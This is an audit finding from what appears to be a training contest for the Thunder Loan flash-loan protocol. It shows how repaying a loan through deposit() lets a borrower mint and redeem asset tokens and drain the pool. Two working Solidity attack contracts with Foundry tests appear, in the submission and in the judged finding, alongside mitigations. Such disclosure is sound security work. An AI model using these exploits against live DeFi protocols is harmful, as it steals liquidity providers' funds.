Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loans can be repaid with `deposit`, minting asset tokens that let the borrower withdraw the repayment

Title: Flash loans can be repaid with deposit, minting asset tokens that let the borrower withdraw the repayment

Severity: High

Scope Affected:

  • src/protocol/ThunderLoan.sol

  • ThunderLoan.flashloan()

  • ThunderLoan.deposit()

  • ThunderLoan.redeem()

Root + Impact

Description

The normal behavior is that a flash loan borrower must return the borrowed amount plus fee during the flash loan transaction, and the repayment should remain protocol liquidity after the loan completes.

The issue is that flashloan() only checks the asset token's final underlying balance. It does not require repayment to happen through repay(). During the callback, the borrower can call deposit() with the borrowed funds plus fee. This satisfies the ending balance check, but it also mints asset tokens to the borrower. After the flash loan ends, the borrower redeems those asset tokens and withdraws the same funds used as repayment.

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
...
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...);
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
@> assetToken.mint(msg.sender, mintAmount);
...
@> token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood:

  • This occurs whenever a flash loan receiver calls deposit() during the flash loan callback instead of repay().

  • This is available to any borrower because deposit() is public and is not blocked while s_currentlyFlashLoaning[token] is true.

Impact:

  • A borrower can drain protocol liquidity by turning the repayment into redeemable asset tokens.

  • Liquidity providers lose the funds that should have remained in the pool after the flash loan.

Proof of Concept

contract DepositRepayReceiver {
ThunderLoan private immutable i_thunderLoan;
IERC20 private immutable i_token;
address private immutable i_owner;
constructor(ThunderLoan thunderLoan, IERC20 token) {
i_thunderLoan = thunderLoan;
i_token = token;
i_owner = msg.sender;
}
function attack(uint256 amount) external {
i_thunderLoan.flashloan(address(this), i_token, amount, "");
AssetToken assetToken = i_thunderLoan.getAssetFromToken(i_token);
uint256 assetBalance = assetToken.balanceOf(address(this));
i_thunderLoan.redeem(i_token, assetBalance);
i_token.transfer(i_owner, i_token.balanceOf(address(this)));
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
)
external
returns (bool)
{
IERC20(token).approve(address(i_thunderLoan), amount + fee);
i_thunderLoan.deposit(IERC20(token), amount + fee);
return true;
}
}
function testFlashLoanCanBeRepaidWithDepositThenRedeemedForProfit() public allowedToken {
uint256 lpDeposit = 1_000 ether;
uint256 amountToBorrow = 100 ether;
uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
tokenA.mint(lp1, lpDeposit);
vm.startPrank(lp1);
tokenA.approve(address(thunderLoan), lpDeposit);
thunderLoan.deposit(tokenA, lpDeposit);
vm.stopPrank();
vm.startPrank(attacker);
DepositRepayReceiver receiver = new DepositRepayReceiver(thunderLoan, tokenA);
tokenA.mint(address(receiver), fee);
receiver.attack(amountToBorrow);
vm.stopPrank();
assertGt(tokenA.balanceOf(attacker), fee);
}

The PoC shows that a borrower can satisfy the flash loan repayment check without actually repaying through repay(). During the flash loan callback, the receiver calls deposit() with amount + fee. This transfers the expected tokens back to the AssetToken, so flashloan() sees the required ending balance and does not revert.

However, because deposit() also mints asset tokens to the receiver, the borrower now owns a claim on the same funds used to “repay” the loan. After the flash loan completes, the receiver redeems those asset tokens and withdraws the underlying. The final assertion proves the attacker ends with more tokens than the fee they initially supplied, meaning protocol liquidity was converted into attacker profit.

Recommended Mitigation

Prevent deposits of the borrowed token while a flash loan is active, and require repayments to happen through repay():

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__NotCurrentlyFlashLoaning();
+ }
...
}

Also track the amount repaid through repay() for the active loan instead of relying only on an ending balance check.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!